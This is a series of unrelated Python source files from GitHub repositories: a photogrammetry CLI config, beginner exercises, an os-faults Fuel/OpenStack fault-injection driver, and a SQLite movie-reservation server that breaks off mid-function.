radial_fisheye, opencv_fisheye, fov, thin_prism_fisheye]. default: '\n '%(default)s'))\n\n parser.add_argument('--mesher',\n metavar='<string>',\n action=StoreValue,\n default='poisson',\n choices=['poisson'], #TODO: add delaunay\n help=('Mesher to use: [poisson]. default: '\n '%(default)s'))\n\n parser.add_argument('--mve-confidence',\n metavar='<float: 0 <= x <= 1>',\n action=StoreValue,\n type=float,\n default=0.60,\n help=('Discard points that have less than a certain confidence threshold. '\n 'This only affects dense reconstructions performed with MVE. '\n 'Higher values discard more points. '\n 'Default: %(default)s'))\n \n parser.add_argument('--use-mve-dense',\n action=StoreTrue,\n nargs=0,\n default=False,\n help=('Always use MVE for densification, even if a GPU is available. By default MVE is used for CPU setups and COLMAP is used for GPU setups. Default: '\n ' %(default)s'))\n\n parser.add_argument('--texturing-data-term',\n metavar='<string>',\n action=StoreValue,\n default='gmi',\n choices=['gmi', 'area'],\n help=('Data term: [area, gmi]. Default: '\n '%(default)s'))\n\n parser.add_argument('--texturing-nadir-weight',\n metavar='<integer: 0 <= x <= 32>',\n action=StoreValue,\n default=16,\n type=int,\n help=('Affects orthophotos only. '\n 'Higher values result in sharper corners, but can affect color distribution and blurriness. '\n 'Use lower values for planar areas and higher values for urban areas. '\n 'The default value works well for most scenarios. Default: '\n '%(default)s'))\n\n parser.add_argument('--texturing-outlier-removal-type',\n metavar='<string>',\n action=StoreValue,\n default='gauss_clamping',\n choices=['none', 'gauss_clamping', 'gauss_damping'],\n help=('Type of photometric outlier removal method: '\n '[none, gauss_damping, gauss_clamping]. Default: '\n '%(default)s'))\n\n parser.add_argument('--texturing-skip-visibility-test',\n action=StoreTrue,\n nargs=0,\n default=False,\n help=('Skip geometric visibility test. Default: '\n ' %(default)s'))\n\n parser.add_argument('--texturing-skip-global-seam-leveling',\n action=StoreTrue,\n nargs=0,\n default=False,\n help=('Skip global seam leveling. Useful for IR data.'\n 'Default: %(default)s'))\n\n parser.add_argument('--texturing-skip-local-seam-leveling',\n action=StoreTrue,\n nargs=0,\n default=False,\n help='Skip local seam blending. Default: %(default)s')\n\n parser.add_argument('--texturing-skip-hole-filling',\n action=StoreTrue,\n nargs=0,\n default=False,\n help=('Skip filling of holes in the mesh. Default: '\n ' %(default)s'))\n\n parser.add_argument('--texturing-keep-unseen-faces',\n action=StoreTrue,\n nargs=0,\n default=False,\n help=('Keep faces in the mesh that are not seen in any camera. '\n 'Default: %(default)s'))\n\n parser.add_argument('--texturing-tone-mapping',\n metavar='<string>',\n action=StoreValue,\n choices=['none', 'gamma'],\n default='none',\n help='Turn on gamma tone mapping or none for no tone '\n 'mapping. Choices are \\'gamma\\' or \\'none\\'. '\n 'Default: %(default)s ')\n\n # parser.add_argument('--gcp',\n # metavar='<path string>',\n # action=StoreValue,\n # default=None,\n # help=('path to the file containing the ground control '\n # 'points used for georeferencing. Default: '\n # '%(default)s. The file needs to '\n # 'be on the following line format: \\neasting '\n # 'northing height pixelrow pixelcol imagename'))\n\n\n # parser.add_argument('--dtm',\n # action=StoreTrue,\n # nargs=0,\n # default=False,\n # help='Use this tag to build a DTM (Digital Terrain Model, ground only) using a simple '\n # 'morphological filter. Check the --dem* and --smrf* parameters for finer tuning.')\n\n # parser.add_argument('--dsm',\n # action=StoreTrue,\n # nargs=0,\n # default=False,\n # help='Use this tag to build a DSM (Digital Surface Model, ground + objects) using a progressive '\n # 'morphological filter. Check the --dem* parameters for finer tuning.')\n\n # parser.add_argument('--dem-gapfill-steps',\n # metavar='<positive integer>',\n # action=StoreValue,\n # default=3,\n # type=int,\n # help='Number of steps used to fill areas with gaps. Set to 0 to disable gap filling. '\n # 'Starting with a radius equal to the output resolution, N different DEMs are generated with '\n # 'progressively bigger radius using the inverse distance weighted (IDW) algorithm '\n # 'and merged together. Remaining gaps are then merged using nearest neighbor interpolation. '\n # '\\nDefault=%(default)s')\n\n parser.add_argument('--dem-resolution',\n metavar='<float>',\n action=StoreValue,\n type=float,\n default=5,\n help='DSM resolution in cm / pixel. '\n '\\nDefault: %(default)s')\n\n # parser.add_argument('--dem-decimation',\n # metavar='<positive integer>',\n # action=StoreValue,\n # default=1,\n # type=int,\n # help='Decimate the points before generating the DEM. 1 is no decimation (full quality). '\n # '100 decimates ~99%% of the points. Useful for speeding up '\n # 'generation.\\nDefault=%(default)s')\n \n parser.add_argument('--orthophoto-resolution',\n metavar='<float > 0.0>',\n action=StoreValue,\n default=5,\n type=float,\n help=('Orthophoto resolution in cm / pixel. Note that this value is capped by a ground sampling distance (GSD) estimate. To remove the cap, check --ignore-gsd also.\\n'\n 'Default: %(default)s'))\n \n parser.add_argument('--orthophoto-png',\n action=StoreTrue,\n nargs=0,\n default=False,\n help='Set this parameter if you want to generate a PNG rendering of the orthophoto.\\n'\n 'Default: %(default)s')\n\n parser.add_argument('--build-overviews',\n action=StoreTrue,\n nargs=0,\n default=False,\n help='Build orthophoto overviews using gdaladdo.')\n\n parser.add_argument('--verbose', '-v',\n action=StoreTrue,\n nargs=0,\n default=False,\n help='Print additional messages to the console\\n'\n 'Default: %(default)s')\n\n parser.add_argument('--time',\n action=StoreTrue,\n nargs=0,\n default=False,\n help='Generates a benchmark file with runtime info\\n'\n 'Default: %(default)s')\n\n parser.add_argument('--version',\n action='version',\n version='NodeCM {0}'.format(__version__),\n help='Displays version number and exits. ')\n\n args = parser.parse_args(argv)\n\n if not args.project:\n parser.print_help()\n exit(1)\n\n if args.project_path:\n args.project_path = os.path.join(args.project_path, args.project)\n else:\n args.project_path = args.project\n \n return args\n","repo_name":"uav4geo/NodeCM","sub_path":"opendm/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":16977,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"61"} +{"seq_id":"25211996935","text":"\nx = int(input(\"Enter first number \"))\ny = int(input(\"Enter second number \"))\nz = x+y\nprint(\"Sum = \",z)\n\nnumber = float(input(\"Enter a number \"))\nif number>0:\n print(\"Positive Number\")\nelif number==0:\n print(\"Zero\")\nelse:\n print(\"Negative Number\")\n \n \ndef diff21(n):\n if n>21:\n result = 2*abs(n-21)\n else:\n result = 21-n\n return result\n\nn = int(input(\"Enter a number\"))\nresult = diff21(n)\nprint(result)\n\ndef sum_double(x,y):\n if x==y:\n result=2*(x+y)\n else:\n result=x+y\n return result\nx = int(input(\"Enter 1st No. \"))\ny = int(input(\"Enter 2nd No. \"))\nresult=sum_double(x,y)\nprint(result)\n\ndef missing_char(str,n):\n return str[0:n] + str[n+1:]\nstr = input(\"Enter String \")\nn = int(input(\"Enter Index No \"))\nanswer=missing_char(str,n)\nprint(answer)","repo_name":"KSTVCHATTERJEE/Py_in_Action","sub_path":"Assignment_1.py","file_name":"Assignment_1.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73843040194","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport json\nimport logging\n\nfrom os_faults.ansible import executor\nfrom os_faults.api import cloud_management\nfrom os_faults.api import node_collection\nfrom os_faults.api import node_discover\nfrom os_faults.common import service\n\nLOG = logging.getLogger(__name__)\n\n\nclass FuelNodeCollection(node_collection.NodeCollection):\n\n def connect(self, network_name):\n LOG.info(\"Connect network '%s' on nodes: %s\", network_name, self)\n task = {'fuel_network_mgmt': {\n 'network_name': network_name,\n 'operation': 'up',\n }}\n self.cloud_management.execute_on_cloud(self.hosts, task)\n\n def disconnect(self, network_name):\n LOG.info(\"Disconnect network '%s' on nodes: %s\",\n network_name, self)\n task = {'fuel_network_mgmt': {\n 'network_name': network_name,\n 'operation': 'down',\n }}\n self.cloud_management.execute_on_cloud(self.hosts, task)\n\n\nclass PcsService(service.ServiceAsProcess):\n \"\"\"Service as a resource in Pacemaker\n\n Service that can be controled by `pcs resource` CLI tool.\n\n **Example configuration:**\n\n .. code-block:: yaml\n\n services:\n app:\n driver: pcs_service\n args:\n pcs_service: app\n grep: my_app\n port: ['tcp', 4242]\n\n parameters:\n\n - **pcs_service** - name of a service\n - **grep** - regexp for grep to find process PID\n - **port** - tuple with two values - potocol, port number (optional)\n\n \"\"\"\n\n NAME = 'pcs_service'\n DESCRIPTION = 'Service in pacemaker'\n CONFIG_SCHEMA = {\n 'type': 'object',\n 'properties': {\n 'pcs_service': {'type': 'string'},\n 'grep': {'type': 'string'},\n 'port': service.PORT_SCHEMA,\n },\n 'required': ['grep', 'pcs_service'],\n 'additionalProperties': False,\n }\n\n def __init__(self, *args, **kwargs):\n super(PcsService, self).__init__(*args, **kwargs)\n self.pcs_service = self.config['pcs_service']\n\n self.restart_cmd = 'pcs resource restart {} $(hostname)'.format(\n self.pcs_service)\n self.terminate_cmd = 'pcs resource ban {} $(hostname)'.format(\n self.pcs_service)\n self.start_cmd = 'pcs resource clear {} $(hostname)'.format(\n self.pcs_service)\n\n\nclass PcsOrLinuxService(service.ServiceAsProcess):\n \"\"\"Service as a resource in Pacemaker or Linux service\n\n Service that can be controled by `pcs resource` CLI tool or\n linux `service` tool. This is a hybrid driver that tries to find\n service in Pacemaker and uses linux `service` if it is not found\n there.\n\n **Example configuration:**\n\n .. code-block:: yaml\n\n services:\n app:\n driver: pcs_or_linux_service\n args:\n pcs_service: p_app\n linux_service: app\n grep: my_app\n port: ['tcp', 4242]\n\n parameters:\n\n - **pcs_service** - name of a service in Pacemaker\n - **linux_service** - name of a service in init.d\n - **grep** - regexp for grep to find process PID\n - **port** - tuple with two values - potocol, port number (optional)\n\n \"\"\"\n\n NAME = 'pcs_or_linux_service'\n DESCRIPTION = 'Service in pacemaker or init.d'\n CONFIG_SCHEMA = {\n 'type': 'object',\n 'properties': {\n 'pcs_service': {'type': 'string'},\n 'linux_service': {'type': 'string'},\n 'grep': {'type': 'string'},\n 'port': service.PORT_SCHEMA,\n },\n 'required': ['grep', 'pcs_service', 'linux_service'],\n 'additionalProperties': False,\n }\n\n def __init__(self, *args, **kwargs):\n super(PcsOrLinuxService, self).__init__(*args, **kwargs)\n self.pcs_service = self.config.get('pcs_service')\n self.linux_service = self.config.get('linux_service')\n\n self.restart_cmd = (\n 'if pcs resource show {pcs_service}; '\n 'then pcs resource restart {pcs_service} $(hostname); '\n 'else service {linux_service} restart; fi').format(\n linux_service=self.linux_service,\n pcs_service=self.pcs_service)\n self.terminate_cmd = (\n 'if pcs resource show {pcs_service}; '\n 'then pcs resource ban {pcs_service} $(hostname); '\n 'else service {linux_service} stop; fi').format(\n linux_service=self.linux_service,\n pcs_service=self.pcs_service)\n self.start_cmd = (\n 'if pcs resource show {pcs_service}; '\n 'then pcs resource clear {pcs_service} $(hostname); '\n 'else service {linux_service} start; fi').format(\n linux_service=self.linux_service,\n pcs_service=self.pcs_service)\n\n\nclass FuelManagement(cloud_management.CloudManagement,\n node_discover.NodeDiscover):\n \"\"\"Fuel driver.\n\n Cloud deployed by fuel. Supports discovering of slave nodes.\n\n **Example configuration:**\n\n .. code-block:: yaml\n\n cloud_management:\n driver: fuel\n args:\n address: 192.168.1.10\n username: root\n private_key_file: ~/.ssh/id_rsa_fuel\n slave_direct_ssh: True\n\n parameters:\n\n - **address** - ip address of fuel master node\n - **username** - username for fuel master and slave nodes\n - **private_key_file** - path to key file (optional)\n - **slave_direct_ssh** - if *False* then fuel master is used as ssh proxy\n (optional)\n - **serial** - how many hosts Ansible should manage at a single time.\n (optional) default: 10\n \"\"\"\n\n NAME = 'fuel'\n DESCRIPTION = 'Fuel 9.x cloud management driver'\n NODE_CLS = FuelNodeCollection\n SERVICES = {\n 'keystone': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'keystone',\n 'linux_service': 'apache2',\n }\n },\n 'horizon': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'apache2',\n 'linux_service': 'apache2',\n }\n },\n 'memcached': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'memcached',\n 'linux_service': 'memcached',\n }\n },\n 'mysql': {\n 'driver': 'pcs_service',\n 'args': {\n 'grep': 'mysqld',\n 'pcs_service': 'p_mysqld',\n 'port': ['tcp', 3307],\n }\n },\n 'rabbitmq': {\n 'driver': 'pcs_service',\n 'args': {\n 'grep': 'rabbit tcp_listeners',\n 'pcs_service': 'p_rabbitmq-server',\n }\n },\n 'glance-api': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'glance-api',\n 'linux_service': 'glance-api',\n }\n },\n 'glance-glare': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'glance-glare',\n 'linux_service': 'glance-glare',\n }\n },\n 'glance-registry': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'glance-registry',\n 'linux_service': 'glance-registry',\n }\n },\n 'nova-api': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'nova-api',\n 'linux_service': 'nova-api',\n }\n },\n 'nova-compute': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'nova-compute',\n 'linux_service': 'nova-compute',\n }\n },\n 'nova-scheduler': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'nova-scheduler',\n 'linux_service': 'nova-scheduler',\n }\n },\n 'nova-cert': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'nova-cert',\n 'linux_service': 'nova-cert',\n }\n },\n 'nova-conductor': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'nova-conductor',\n 'linux_service': 'nova-conductor',\n }\n },\n 'nova-consoleauth': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'nova-consoleauth',\n 'linux_service': 'nova-consoleauth',\n }\n },\n 'nova-novncproxy': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'nova-novncproxy',\n 'linux_service': 'nova-novncproxy',\n }\n },\n 'neutron-server': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'neutron-server',\n 'linux_service': 'neutron-server',\n }\n },\n 'neutron-dhcp-agent': {\n 'driver': 'pcs_service',\n 'args': {\n 'grep': 'neutron-dhcp-agent',\n 'pcs_service': 'neutron-dhcp-agent',\n }\n },\n 'neutron-metadata-agent': {\n 'driver': 'pcs_or_linux_service',\n 'args': {\n 'grep': 'neutron-metadata-agent',\n 'pcs_service': 'neutron-metadata-agent',\n 'linux_service': 'neutron-metadata-agent',\n }\n },\n 'neutron-openvswitch-agent': {\n 'driver': 'pcs_or_linux_service',\n 'args': {\n 'grep': 'neutron-openvswitch-agent',\n 'pcs_service': 'neutron-openvswitch-agent',\n 'linux_service': 'neutron-openvswitch-agent',\n }\n },\n 'neutron-l3-agent': {\n 'driver': 'pcs_or_linux_service',\n 'args': {\n 'grep': 'neutron-l3-agent',\n 'pcs_service': 'neutron-l3-agent',\n 'linux_service': 'neutron-l3-agent',\n }\n },\n 'heat-api': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'heat-api',\n 'linux_service': 'heat-api',\n }\n },\n 'heat-engine': {\n 'driver': 'pcs_service',\n 'args': {\n 'grep': 'heat-engine',\n 'pcs_service': 'p_heat-engine',\n }\n },\n 'cinder-api': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'cinder-api',\n 'linux_service': 'cinder-api',\n }\n },\n 'cinder-scheduler': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'cinder-scheduler',\n 'linux_service': 'cinder-scheduler',\n }\n },\n 'cinder-volume': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'cinder-volume',\n 'linux_service': 'cinder-volume',\n }\n },\n 'cinder-backup': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'cinder-backup',\n 'linux_service': 'cinder-backup',\n }\n },\n 'ironic-api': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'ironic-api',\n 'linux_service': 'ironic-api',\n }\n },\n 'ironic-conductor': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'ironic-conductor',\n 'linux_service': 'ironic-conductor',\n }\n },\n 'swift-account': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'swift-account',\n 'linux_service': 'swift-account',\n }\n },\n 'swift-account-auditor': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'swift-account-auditor',\n 'linux_service': 'swift-account-auditor',\n }\n },\n 'swift-account-reaper': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'swift-account-reaper',\n 'linux_service': 'swift-account-reaper',\n }\n },\n 'swift-account-replicator': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'swift-account-replicator',\n 'linux_service': 'swift-account-replicator',\n }\n },\n 'swift-container': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'swift-container',\n 'linux_service': 'swift-container',\n }\n },\n 'swift-container-auditor': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'swift-container-auditor',\n 'linux_service': 'swift-container-auditor',\n }\n },\n 'swift-container-replicator': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'swift-container-replicator',\n 'linux_service': 'swift-container-replicator',\n }\n },\n 'swift-container-sync': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'swift-container-sync',\n 'linux_service': 'swift-container-sync',\n }\n },\n 'swift-container-updater': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'swift-container-updater',\n 'linux_service': 'swift-container-updater',\n }\n },\n 'swift-object': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'swift-object',\n 'linux_service': 'swift-object',\n }\n },\n 'swift-object-auditor': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'swift-object-auditor',\n 'linux_service': 'swift-object-auditor',\n }\n },\n 'swift-object-replicator': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'swift-object-replicator',\n 'linux_service': 'swift-object-replicator',\n }\n },\n 'swift-object-updater': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'swift-object-updater',\n 'linux_service': 'swift-object-updater',\n }\n },\n 'swift-proxy': {\n 'driver': 'linux_service',\n 'args': {\n 'grep': 'swift-proxy',\n 'linux_service': 'swift-proxy',\n }\n },\n }\n SUPPORTED_NETWORKS = ['management', 'private', 'public', 'storage']\n CONFIG_SCHEMA = {\n 'type': 'object',\n '$schema': 'http://json-schema.org/draft-04/schema#',\n 'properties': {\n 'address': {'type': 'string'},\n 'username': {'type': 'string'},\n 'private_key_file': {'type': 'string'},\n 'slave_direct_ssh': {'type': 'boolean'},\n 'serial': {'type': 'integer', 'minimum': 1},\n },\n 'required': ['address', 'username'],\n 'additionalProperties': False,\n }\n\n def __init__(self, cloud_management_params):\n super(FuelManagement, self).__init__()\n self.node_discover = self # supports discovering\n\n self.master_node_address = cloud_management_params['address']\n self._master_host = node_collection.Host(ip=self.master_node_address)\n self.username = cloud_management_params['username']\n self.private_key_file = cloud_management_params.get('private_key_file')\n self.slave_direct_ssh = cloud_management_params.get(\n 'slave_direct_ssh', False)\n self.serial = cloud_management_params.get('serial')\n\n self.master_node_executor = executor.AnsibleRunner(\n remote_user=self.username, private_key_file=self.private_key_file)\n\n jump_host = self.master_node_address\n if self.slave_direct_ssh:\n jump_host = None\n\n self.cloud_executor = executor.AnsibleRunner(\n remote_user=self.username, private_key_file=self.private_key_file,\n jump_host=jump_host, serial=self.serial)\n\n self.cached_cloud_hosts = list()\n\n def verify(self):\n \"\"\"Verify connection to the cloud.\"\"\"\n nodes = self.get_nodes()\n LOG.debug('Cloud nodes: %s', nodes)\n\n task = {'command': 'hostname'}\n task_result = self.execute_on_cloud(nodes.hosts, task)\n LOG.debug('Hostnames of cloud nodes: %s',\n [r.payload['stdout'] for r in task_result])\n\n LOG.info('Connected to cloud successfully!')\n\n def discover_hosts(self):\n if not self.cached_cloud_hosts:\n task = {'command': 'fuel node --json'}\n result = self._execute_on_master_node(task)\n for r in json.loads(result[0].payload['stdout']):\n host = node_collection.Host(ip=r['ip'], mac=r['mac'],\n fqdn=r['fqdn'])\n self.cached_cloud_hosts.append(host)\n\n return self.cached_cloud_hosts\n\n def _execute_on_master_node(self, task):\n \"\"\"Execute task on Fuel master node.\n\n :param task: Ansible task\n :return: Ansible execution result (list of records)\n \"\"\"\n return self.master_node_executor.execute([self._master_host], task)\n\n def execute_on_cloud(self, hosts, task, raise_on_error=True):\n \"\"\"Execute task on specified hosts within the cloud.\n\n :param hosts: List of host FQDNs\n :param task: Ansible task\n :param raise_on_error: throw exception in case of error\n :return: Ansible execution result (list of records)\n \"\"\"\n if raise_on_error:\n return self.cloud_executor.execute(hosts, task)\n else:\n return self.cloud_executor.execute(hosts, task, [])\n","repo_name":"mail2nsrajesh/os-faults","sub_path":"os_faults/drivers/fuel.py","file_name":"fuel.py","file_ext":"py","file_size_in_byte":18683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13873437179","text":"import sys\nsys.setrecursionlimit(100000)\nmax_ = 0\n\ndef dfs(arr, t, n):\n global max_\n max_ = max(max_, max(arr))\n if t == n:\n return\n\n for i in range(len(arr) - 1):\n\n p = len(arr) - (i + 1)\n mp = max(p, i + 1)\n tmp = []\n for p_ in range(mp):\n a, b = 0, 0\n a_, b_ = i - p_, i + p_ + 1\n if 0 <= a_ < len(arr):\n a = arr[a_]\n if 0 <= b_ < len(arr):\n b = arr[b_]\n tmp.append(a + b)\n print(tmp, i)\n dfs(tmp, t + 1, n)\n\ndef solution(paper, n):\n\n dfs(paper, 0, n)\n\nsolution([7,3,-7,5,-3],2)\nprint(max_)","repo_name":"whiskey21/my-algorithm-book","sub_path":"nc/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38170127743","text":"import sqlite3\n\nimport threading\nimport uuid\n\nmutex = threading.Lock()\n\nDATABASE_FILE = r\"C:\\Users\\Midnight\\Documents\\Development\\HackUNT-2022\\server\\server.db\"\n\nconnection: sqlite3.Connection = sqlite3.connect(DATABASE_FILE, check_same_thread=False)\nconnection.row_factory = sqlite3.Row\ndb: sqlite3.Cursor = connection.cursor()\n\n\ndef init() -> None:\n db.execute(\"CREATE TABLE IF NOT EXISTS users (uuid TEXT PRIMARY KEY, name TEXT, age INTEGER)\")\n db.execute(\"CREATE TABLE IF NOT EXISTS movie_reservations (id INTEGER PRIMARY KEY AUTOINCREMENT, uuid TEXT, \"\n \"movie_id TEXT, date TEXT, time TEXT, theater INTEGER)\")\n db.execute(\"CREATE TABLE IF NOT EXISTS movies (id INTEGER PRIMARY KEY AUTOINCREMENT, title TEXT, rating TEXT, \"\n \"date TEXT, time TEXT, theater INTEGER, available INTEGER, capacity INTEGER)\")\n db.execute(\"CREATE TABLE IF NOT EXISTS theaters (id INTEGER PRIMARY KEY AUTOINCREMENT, capacity INTEGER, \"\n \"theater_name TEXT)\")\n db.execute(\"CREATE TABLE IF NOT EXISTS admins (uuid TEXT PRIMARY KEY)\")\n db.execute(\"CREATE TABLE IF NOT EXISTS seats (id INTEGER PRIMARY KEY AUTOINCREMENT, user TEXT, reserved INTEGER, \"\n \"movie_id INTEGER, seat_number INTEGER)\")\n\n connection.commit()\n\n\ndef create_user(name: str, age: int) -> str:\n \"\"\"\n Creates a user and stores it in the database\n :param name: user's name\n :param age: user age\n :return: None\n \"\"\"\n uuid_ = str(uuid.uuid4())\n with mutex:\n db.execute(\"INSERT INTO users (uuid, name, age) VALUES (?, ?, ?)\", (uuid_, name, age))\n connection.commit()\n return uuid_\n\n\ndef add_theater(capacity: int, theater_name: str, seats: str) -> None:\n \"\"\"\n Adds a theater to the database\n :param capacity: total seats\n :param theater_name: theater name\n :param seats: current seats\n :return: None\n \"\"\"\n with mutex:\n db.execute(\"INSERT INTO theaters (capacity, theater_name, seats) VALUES (?, ?, ?)\", (capacity, theater_name, seats))\n connection.commit()\n\n\ndef add_movie(title: str, rating: str, date: int, time: int, theater: str, available: int,\n capacity: int) -> int:\n \"\"\"\n Adds a movie to the database\n :param title: the movie title\n :param rating: the movie rating\n :param time: movie time\n :param date: movie date\n :param theater: theater id\n :param available: available seats\n :param capacity: total seats\n :return: Created movie id\n \"\"\"\n with mutex:\n db.execute(\"INSERT INTO movies (title, rating, date, time theater, available, capacity) VALUES (?, ?, ?, ?, ?, ?)\",\n (title, rating, date, time, theater, available, capacity))\n connection.commit()\n # get new movie id\n db.execute(\"SELECT FROM movies WHERE title = ?, rating = ?, date = ?, time = ?, theater = ?, \"\n \"available = ?, capacity = ?\", (title, rating, date, time, theater, available, capacity))\n new_movie_id = db.fetchone()[\"id\"]\n return new_movie_id\n\n\ndef add_reservation(uuid_: str, movie_id: int, date: int, time: int, theater: int) -> None:\n \"\"\"\n Adds a reservation to the database\n :param uuid_: user uuid\n :param movie_id: movie id\n :param date: the reservation date\n :param time: the reservation time\n :param theater: the theater id\n :return: None\n \"\"\"\n with mutex:\n db.execute(\"INSERT INTO movie_reservations (uuid, movie_id, date, time, theater) VALUES (?, ?, ?, ?, ?)\",\n (uuid_, movie_id, date, time, theater))\n connection.commit()\n\n\ndef get_user_by_uuid(uuid: str) -> sqlite3.Row:\n \"\"\"\n Gets the user by uuid\n :param uuid: user uuid\n :return: the user\n \"\"\"\n with mutex:\n resp = db.execute(\"SELECT * FROM users WHERE uuid = ?\", (uuid,))\n return resp.fetchone()\n\n\ndef get_movie_by_id(movie_id: str) -> sqlite3.Row:\n \"\"\"\n Gets the movie by id\n :param movie_id: movie id\n :return: the movie\n \"\"\"\n with mutex:\n resp = db.execute(\"SELECT * FROM movies WHERE id = ?\", (movie_id,))\n return resp.fetchone()\n\n\ndef get_movie_seats(movie_id: int) -> list[sqlite3.Row]:\n \"\"\"\n Gets the seats for a movie\n :param movie_id: movie id\n :return: all seats for a movie\n \"\"\"\n with mutex:\n resp = db.execute(\"SELECT * FROM seats WHERE movie_id = ?\", (movie_id,))\n return resp.fetchall()\n\n\ndef get_reserved_seats(movie_id: int) -> list[sqlite3.Row]:\n \"\"\"\n Returns a list of all seats that are reserved for a movie.\n :param movie_id: movie id\n :return: List of reserved seats\n \"\"\"\n with mutex:\n resp = db.execute(\"SELECT * FROM seats WHERE movie_id = ? AND reserved = 1\", (movie_id,))\n return resp.fetchall()\n\n\ndef update_movie_availability(movie_id: int, available: int) -> None:\n \"\"\"\n Updates the available seats for a movie\n :param movie_id: movie id\n :param available: number of available seats\n :return:\n \"\"\"\n with mutex:\n db.execute(\"UPDATE movies SET available = ? WHERE id = ?\", (available, movie_id))\n connection.commit()\n\n\ndef reserve_seats(uuid_: str, movie_id: int, seats: list[int]) -> None:\n \"\"\"\n Will reserve seats for a user into the seats table.\n :param uuid_: the user's uuid\n :param movie_id: the id of the movie to reserve for\n :param seats: the list of seat numbers being reserved\n :return: None\n \"\"\"\n with mutex:\n for i in seats:\n if db.execute(\"SELECT * FROM seats WHERE movie_id = ? AND seat_number = ?\",\n (movie_id, i)).fetchone() is None:\n db.execute(\"INSERT INTO seats (user, reserved, movie_id, seat_number) VALUES (?, ?, ?, ?)\",\n (uuid_, 1, movie_id, i))\n else:\n db.execute(\"UPDATE seats SET reserved = 1, user = ? WHERE movie_id = ? AND seat_number = ?\",\n (uuid_, movie_id, i))\n\n\ndef is_admin(uuid: str) -> bool:\n \"\"\"\n Checks if the user is an admin\n :param uuid:\n :return: if the user is an admin\n \"\"\"\n with mutex:\n resp = db.execute(\"SELECT * FROM admins WHERE uuid = ?\", (uuid,))\n return resp.fetchone() is not None\n\n\n# ALL RETURN COMMANDS BELOW THIS LINE\n\ndef get_unique_movies() -> set[str]:\n \"\"\"\n Returns a set of all unique movie titles, eventually gets sent to the client\n :return: set of all unique movie titles\n \"\"\"\n with mutex:\n resp = db.execute(\"SELECT title FROM movies\")\n titles = []\n for row in resp.fetchall():\n titles.append(row[\"title\"])\n return set(titles)\n\n\ndef get_movies() -> list[sqlite3.Row]:\n \"\"\"\n Returns a list of all movies, eventually gets sent to the client\n :return: a list of all movies\n \"\"\"\n with mutex:\n resp = db.execute(\"SELECT * FROM movies\")\n return resp.fetchall()\n\n\ndef get_movies_by_title(title: str) -> list[sqlite3.Row]:\n \"\"\"\n Returns a list of all movies with the given title, eventually gets sent to the client\n :param title:\n :return: a list of all movies with the given title\n \"\"\"\n with mutex:\n resp = db.execute(\"SELECT * FROM movies WHERE title like ?\", (title,))\n return resp.fetchall()\n\n\ndef get_reservations(uuid: str) -> list[sqlite3.Row]:\n \"\"\"\n Returns a list of all reservations for the given user, eventually gets sent to the client\n :param uuid:\n :return: a list of all reservations for the given user\n \"\"\"\n with mutex:\n resp = db.execute(\"SELECT * FROM movie_reservations WHERE uuid = ?\", (uuid,))\n return resp.fetchall()\n\n\ndef get_seats(movie_id: int) -> list[sqlite3.Row]:\n \"\"\"\n Returns a list of all seats for the given movie, eventually gets sent to the client\n :param movie_id:\n :return: a list of all seats for the given movie\n \"\"\"\n with mutex:\n resp = db.execute(\"SELECT * FROM seats WHERE movie_id = ?\", (movie_id,))\n return resp.fetchall()\n\n\ndef get_reservation(uuid: str, movie_id: int) -> sqlite3.Row:\n \"\"\"\n Returns the reservation for the given user and movie, eventually gets sent to the client\n :param uuid:\n :param movie_id:\n :return: the reservation for the given user and movie\n \"\"\"\n with mutex:\n resp = db.execute(\"SELECT * FROM movie_reservations WHERE uuid = ? AND movie_id = ?\", (uuid, movie_id))\n return resp.fetchone()\n\n\ndef get_dates(movie_title) -> list[str]:\n \"\"\"\n Returns a list of all dates for the given 